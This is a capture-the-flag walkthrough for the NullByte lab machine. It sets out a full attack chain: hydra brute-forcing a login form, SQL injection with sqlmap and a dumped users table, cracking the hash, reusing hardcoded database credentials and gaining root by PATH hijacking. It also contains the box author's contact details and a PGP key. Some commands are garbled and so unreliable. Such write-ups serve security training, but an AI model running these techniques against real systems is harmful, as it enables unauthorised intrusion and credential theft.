1. With the help of command: arp-scan --local, I got the IP address of the machine.

IP address found: 192.168.1.10

2. Finding Directory:

gobuster dir -u 192.168.1.10 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt *Directory Found:*

/phpMyAdmin

/upload

3. I found the image that has a Ciphertext hidden. Here we have used the tool called Exiftool.

exiftool main.gif

Ciphertext: kzMb5nVYJw

4. Brute forcing the Dashboard.

hydra 192.168.1.10 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^: invalid key" -l x -P /home/sumedh/Downloads/rockyou.txt -t 10 -w 30

5.Password Found:

Password: elite -> [80][http-post-form] host: 192.168.1.10 login: x password: elite

6. Found a field that is vulnerable to SQL:

" : have used " to check if the field is vulnerable to SQL-injection.

Result: -> Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%"' at line 1

7. With help of Burp-suite I saved into a file called sql.txt: sqlmap -r sql.txt -

-dump

8.Database called Seth was found that had information.

Database: Seth

9. Table users was found:

Table: users

[2 entries]

```
+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+--------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                            | isis   | employee   |
+----+--------------------------------------------+--------+------------+
```

10. Base64 hash was found after using the command:

```
echo "c6d6bd7ebf806f43c76acc3681703b81" | base64 -d
c6d6bd7ebf806f43c76acc3681703b81base64 (base64 hash)
```

11. MD5 password was found after cracking from crackstation.com

c6d6bd7ebf806f43c76acc3681703b81

Password: omega

12. Log-in with SSH #By default, the SSH server still runs in port 22. But the port was 777

```
ssh ramses@192.168.1.10 -p- 777
```

Password: omega

13. Enumeration:

```
ramses@NullByte:/var/www$ ls
backup  html
ramses@NullByte:/var/www$ cd html
ramses@NullByte:/var/www/html$
index.html  kzMb5nVYJw  main.gif  main.gif_original  uploads
ramses@NullByte:/var/www/html$ cd kzMb5nVYJw
ramses@NullByte:/var/www/html/kzMb5nVYJw$ #Found the hidden directory inside the server.
ramses@NullByte:/var/www/html/kzMb5nVYJw$ ls
420search.php  index.php
```

14. cat 420search.php

```
<?php
$word = $_GET["usrtosearch"];
```

```
$dbhost = 'localhost:3036';
$dbuser = 'root';
$dbpass = 'sunnyvale';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
  die('Could not connect: ' . mysql_error());
}
$sql = 'SELECT id, user, position FROM users WHERE user LIKE "%'.$word.'%" ';

mysql_select_db('seth');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
  die('Could not get data: ' . mysql_error());
}
while($row = mysql_fetch_array($retval, MYSQL_ASSOC))
{
    echo "EMP ID :{$row['id']}  <br> ".
         "EMP NAME : {$row['user']} <br> ".
         "EMP POSITION : {$row['position']} <br> ".
         "--------------------------------<br>";
}
echo "Fetched data successfully\n";
mysql_close($conn);
?>
```

15. Found php admin and password :

```
$dbuser = 'root';

$dbpass = 'sunnyvale';
```

16. Login into http://192.168.1.10/phpmyadmin/

username : root

password : sunnyvale

17. since, we already found the information about the database, lets continue with the enumeration process :

```
ramses@NullByte:/var/www/backup$ cat readme.txt

I have to fix this mess...
```

18. Now its time privledge exeleration.

```
ramses@NullByte:/var/www/backup$ nano shell.sh
```

#! /bin/bash

ps

19. chmod +777 shell.sh

```
ramses@NullByte:/var/www/backup$ ls

procwatch  ps  readme.txt  sh  shell.sh

ramses@NullByte:/var/www/backup$ export PATH=.:$PATH

ramses@NullByte:/var/www/backup$ echo $PATH

.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games #We have sucessfully made the current directory into path.
```

20. Creating a soft-link using ln command:

```
ln -s /bin/sh.ps

./procwatch
```

15. We got the root now.

lets find proof.txt file which contains the flag.

```
# cd root

proof.txt
```

#cat proof.txt

Flag: sadf11c7a9e6523e630aaf3b9b7acb51d

It seems that you have pwned the box, congrats.

Now you done that I wanna talk with you. Write a walk & mail at

xly0n@sigaint.org attach the walk and proof.txt

If sigaint.org is down you may mail at nbsly0n@gmail.com

USE THIS PGP PUBLIC KEY

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0
mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----
```
